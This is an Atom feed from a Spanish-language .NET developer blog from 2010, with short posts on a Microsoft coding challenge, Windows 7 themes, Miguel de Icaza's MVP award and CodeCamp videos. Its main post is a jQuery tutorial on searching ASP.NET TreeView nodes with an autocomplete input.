<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://lonetcamp.com/Community/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang=""><title type="html">Marc Rubiño</title><subtitle type="html">ASP.NET, C#, AJAX.NET, JavaScript, etc. </subtitle><id>http://lonetcamp.com/Community/blogs/marckys/atom.aspx</id><link rel="alternate" type="text/html" href="http://lonetcamp.com/Community/blogs/marckys/default.aspx" /><link rel="self" type="application/atom+xml" href="http://lonetcamp.com/Community/blogs/marckys/atom.aspx" /><generator uri="http://communityserver.org" version="4.0.30619.63">Community Server</generator><updated>2009-10-18T20:00:00Z</updated><entry><title>Vuelve el Reto !!!!</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/02/22/vuelve-el-reto.aspx" /><id>/Community/blogs/marckys/archive/2010/02/22/vuelve-el-reto.aspx</id><published>2010-02-22T09:47:10Z</published><updated>2010-02-22T09:47:10Z</updated><content type="html">&lt;p&gt;Como ya se avisó &lt;a href="http://geeks.ms/blogs/mrubino/archive/2009/12/06/191-eres-de-mente-despierta-net-minds.aspx"&gt;anteriormente&lt;/a&gt; hoy esta disponible el segundo reto de Net Minds, ya puedes acceder a la segunda prueba para conseguir tu subscripción Visual Studio Ultimate con MSDN Premium.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://msdn.microsoft.com/es-es/net_minds.aspx" href="http://msdn.microsoft.com/es-es/net_minds.aspx"&gt;http://msdn.microsoft.com/es-es/net_minds.aspx&lt;/a&gt;&lt;/p&gt;  &lt;h5&gt;&lt;/h5&gt;  &lt;p&gt;&lt;a href="http://msdn.microsoft.com/es-es/net_minds.aspx"&gt;&lt;img title="minds" height="270" alt="minds" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/minds_5F00_5FC629E7.png" width="454" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1599" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author></entry><entry><title>Buscar en un TreeView con Autocomplete y JQuery</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/02/15/buscar-en-un-treeview-con-autocomplete-y-jquery.aspx" /><id>/Community/blogs/marckys/archive/2010/02/15/buscar-en-un-treeview-con-autocomplete-y-jquery.aspx</id><published>2010-02-15T22:02:00Z</published><updated>2010-02-15T22:02:00Z</updated><content type="html">&lt;p align="justify"&gt;Para que una aplicaci&amp;oacute;n web tenga un interfaz de usuario f&amp;aacute;cil de utilizar y facilitemos su usabilidad no hay m&amp;aacute;s remedio que pasar por un lenguaje script y por eso cada vez que tengo la oportunidad me gusta hacer alguna pr&amp;aacute;ctica con JavaScript y en este caso utilizando la librer&amp;iacute;a JQuery que facilita nos falicita mucho esta tarea.&lt;/p&gt;
&lt;p align="justify"&gt;La excusa que utilizo hoy para hacer este ejemplo es una petici&amp;oacute;n en los &lt;a href="http://social.msdn.microsoft.com/Forums/es-ES/netfxwebes/thread/5381308d-e550-4f1d-a3cb-74dfb7c5e7a8"&gt;foros MSDN&lt;/a&gt; para hacer una b&amp;uacute;squeda de texto en un TreeView y poder seleccionar posteriormente el nodo que coincida con esta selecci&amp;oacute;n.&lt;/p&gt;
&lt;p align="justify"&gt;Para esto voy a utilizar un plugin de Jquery que provee a los inputs la extensi&amp;oacute;n de mostrar un &lt;a href="http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/"&gt;autoComplete&lt;/a&gt; donde se mostraran los textos de los nodos que coincidan con el texto introducido en el input.&lt;/p&gt;
&lt;p align="justify"&gt;Para las referencias a las librer&amp;iacute;as Jquery utilizare &lt;a href="http://www.asp.net/ajaxlibrary/CDN.ashx"&gt;CDN&lt;/a&gt; para aprovechar sus &lt;a href="http://geeks.ms/blogs/gperez/archive/2010/01/02/microsoft-ajax-cdn-mejoras-de-rendimiento-a-considerar.aspx"&gt;beneficios&lt;/a&gt; y no tener obligatoriamente las librer&amp;iacute;as en nuestro proyecto.&lt;/p&gt;
&lt;p align="justify"&gt;Empecemos!!!&lt;/p&gt;
&lt;p align="justify"&gt;Crearemos un proyecto web que contendr&amp;aacute; una p&amp;aacute;gina aspx con un simple input html y un treeview que llenaremos con los mismos campos que piden en la consulta del foro.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_01EF2CC7.png"&gt;&lt;img height="244" width="211" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_thumb_5F00_58E71E7B.png" alt="image" border="0" title="image" style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Lo &amp;uacute;nico que tenemos que tener en cuenta, es que necesitamos un identificador para el input y especificar un estilo al treeview que utilizaremos para localizar el control al cargar la p&amp;aacute;gina.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;input&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;id&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;example&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#c71585;"&gt;asp&lt;/span&gt;:&lt;span style="color:#800000;"&gt;TreeView&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;ID&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;TreeView1&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;runat&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;CssClass&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;TreeN&amp;quot;&lt;/span&gt;&lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;ParentNodeStyle&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;CssClass&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;ItemNodeTree&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Una vez preparada la p&amp;aacute;gina crearemos un fichero .JS donde pondremos nuestro c&amp;oacute;digo javaScript para darle la funcionalidad al ejemplo.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;script&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;src&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;JS/JScript.js&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;type&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt;&lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Primera parte del script:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;1.&lt;/strong&gt; Inicializar el autocomplet y cargar los datos del treeview.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$(&lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;).ready(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; data = CargarDatos();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#example&lt;/span&gt;&amp;quot;).autocomplete(data, {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#008000;"&gt;//Texto a mostrar en el input&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        formatItem: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;(item) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;            &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; item.text;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }).result(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;(event, item) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#008000;"&gt;//Identificador del Nodo&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        Seleccionar(item.id);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    });
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;});&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Al cargar la p&amp;aacute;gina llamamos a la funci&amp;oacute;n CargarDatos() que recorrer&amp;aacute; el treeView para retornar un array de objetos que contendr&amp;aacute;n el texto y el identificador de cada nodo. Cuando se lanza el evento al seleccionar el registro se llamar&amp;aacute; a la funci&amp;oacute;n Seleccionar pasando el identificador del nodo como par&amp;aacute;metro.&lt;/p&gt;
&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_4EB5840E.png"&gt;&lt;img height="157" width="350" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_thumb_5F00_1364AF01.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. CargarDatos&lt;/strong&gt; utiliza la potencia de los selectores de JQuery para seleccionar los nodos y llenar el array con la informaci&amp;oacute;n necesaria del nodo.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; CargarDatos() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; treeN = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.TreeN&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; items = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;Array&lt;/span&gt;();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (treeN.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;){
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; nodo = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot;+treeN[0].id + &amp;quot;&lt;span style="color:#8b0000;"&gt; td: a&lt;/span&gt;&amp;quot; );
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; index = 0; index &amp;lt; nodo.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; index++) {      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        items[index] = { text: nodo[index].innerText, id: nodo[index].id };      
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      }      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; items;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Seleccionar&lt;/strong&gt; selecciona el nodo del treeView y le asigna el estilo adecuado para resaltar el registro seleccionado.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; Seleccionar(treeID) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#008000;"&gt;//Limpiamos los estilos seleccionados anteriormente&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; es = $(&amp;#39;.SelectedNodeTree&amp;#39;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; index = 0; index &amp;lt; es.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; index++) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        es[index].className = &amp;quot;&lt;span style="color:#8b0000;"&gt;ItemNodeTree&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }   
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#008000;"&gt;//Definimos el estilo seleccionado al item correcto&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + treeID)[0].className = &amp;quot;&lt;span style="color:#8b0000;"&gt;SelectedNodeTree&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado final:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_72079A15.png"&gt;&lt;img height="244" width="216" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_thumb_5F00_7AF72C54.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_2C852A9B.png"&gt;&lt;img height="244" width="206" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/image_5F00_thumb_5F00_558FC997.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Como pod&amp;eacute;is comprobar con tres simples funciones javaScript hemos dotado a nuestra aplicaci&amp;oacute;n una potente funcionalidad en el lado del cliente que mejora la experiencia de usuario y enriquece nuestras aplicaci&amp;oacute;n web.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aplicaci&amp;oacute;n&lt;strong&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/SearchTree.zip"&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1590" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="javascript" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/javascript/default.aspx" /><category term="JQuery" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/JQuery/default.aspx" /></entry><entry><title>Personaliza tu Windows 7</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/02/05/personaliza-tu-windows-7.aspx" /><id>/Community/blogs/marckys/archive/2010/02/05/personaliza-tu-windows-7.aspx</id><published>2010-02-05T09:22:03Z</published><updated>2010-02-05T09:22:03Z</updated><content type="html">&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/0e2628bb0a5545d0b9bafac0a3650635_5F00_693627BA.jpg"&gt;&lt;img title="0e2628bb-0a55-45d0-b9ba-fac0a3650635" style="border-right:0px;border-top:0px;display:inline;margin:0px 25px 0px 0px;border-left:0px;border-bottom:0px;" height="142" alt="0e2628bb-0a55-45d0-b9ba-fac0a3650635" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/0e2628bb0a5545d0b9bafac0a3650635_5F00_thumb_5F00_418FAB90.jpg" width="187" align="left" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Descarga gratis y personaliza tú Windows 7 con los nuevos Temas disponibles en la página de Microsoft.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://windows.microsoft.com/en-US/windows/downloads/personalize" href="http://windows.microsoft.com/en-US/windows/downloads/personalize"&gt;http://windows.microsoft.com/en-US/windows/downloads/personalize&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Dale a tú Windows 7 un toque personalizado ;-)&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1565" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author></entry><entry><title>Miguel de Icaza nombrado MVP de C#!</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/01/16/miguel-de-icaza-nombrado-mvp-de-c.aspx" /><id>/Community/blogs/marckys/archive/2010/01/16/miguel-de-icaza-nombrado-mvp-de-c.aspx</id><published>2010-01-16T17:45:47Z</published><updated>2010-01-16T17:45:47Z</updated><content type="html">&lt;p align="justify"&gt;&lt;a href="http://tirania.org/blog/archive/2010/Jan-11-1.html"&gt;&lt;img style="border-right-width:0px;margin:0px 0px 0px 30px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="miguel_de_icaza" border="0" alt="miguel_de_icaza" align="right" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/miguel_5F00_de_5F00_icaza_5F00_33893BE0.jpg" width="227" height="175" /&gt;&lt;/a&gt;Gracias a un comentario de mi amigo &lt;a href="http://geeks.ms/blogs/lfranco/" target="_blank"&gt;Luis Franco&lt;/a&gt; me he enterado que Microsoft ha premiado a &lt;a href="http://tirania.org/blog/archive/2010/Jan-11-1.html" target="_blank"&gt;Miguel de Icaza&lt;/a&gt; con el nombramiento MVP de C# por sus aportaciones a la comunidad. &lt;/p&gt;  &lt;p align="justify"&gt;Esta noticia va a dar mucho de que hablar con unos cuantos compañeros linuxeros, con los que normalmente tenemos numerosas charlas sobre estos temas.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Felicidades por el nombramiento !!&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1547" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="Microsoft" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Microsoft/default.aspx" /></entry><entry><title>Los videos del CodeCamp 09 disponibles !!!</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2010/01/11/los-videos-del-codecamp-09-disponibles.aspx" /><id>/Community/blogs/marckys/archive/2010/01/11/los-videos-del-codecamp-09-disponibles.aspx</id><published>2010-01-11T23:13:34Z</published><updated>2010-01-11T23:13:34Z</updated><content type="html">&lt;p align="justify"&gt;Ya están disponibles los videos de los tracks que se dieron en el CodeCamp Tarragona 09. Somos conscientes que no son de la calidad que podríamos desear, pero para la gente que no pudo asistir, es la posibilidad de disfrutar de este material.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/7823_5F00_1228816835324_5F00_1076168279_5F00_696286_5F00_3520989_5F00_n_5F00_73C633B8.jpg"&gt;&lt;img style="border-right-width:0px;margin:0px 40px 0px 0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="7823_1228816835324_1076168279_696286_3520989_n" border="0" alt="7823_1228816835324_1076168279_696286_3520989_n" align="left" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/7823_5F00_1228816835324_5F00_1076168279_5F00_696286_5F00_3520989_5F00_n_5F00_thumb_5F00_497C1D3F.jpg" width="249" height="296" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="left"&gt;Para ver los videos visita la web habilitada para ello &lt;a href="http://secondnug.blip.tv"&gt;http://secondnug.blip.tv&lt;/a&gt;&lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="left"&gt;&amp;#160;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="left"&gt;Para acceder al material y a la información de los eventos visita la web &lt;a title="http://codecamp.es" href="http://codecamp.es"&gt;http://codecamp.es&lt;/a&gt;&lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  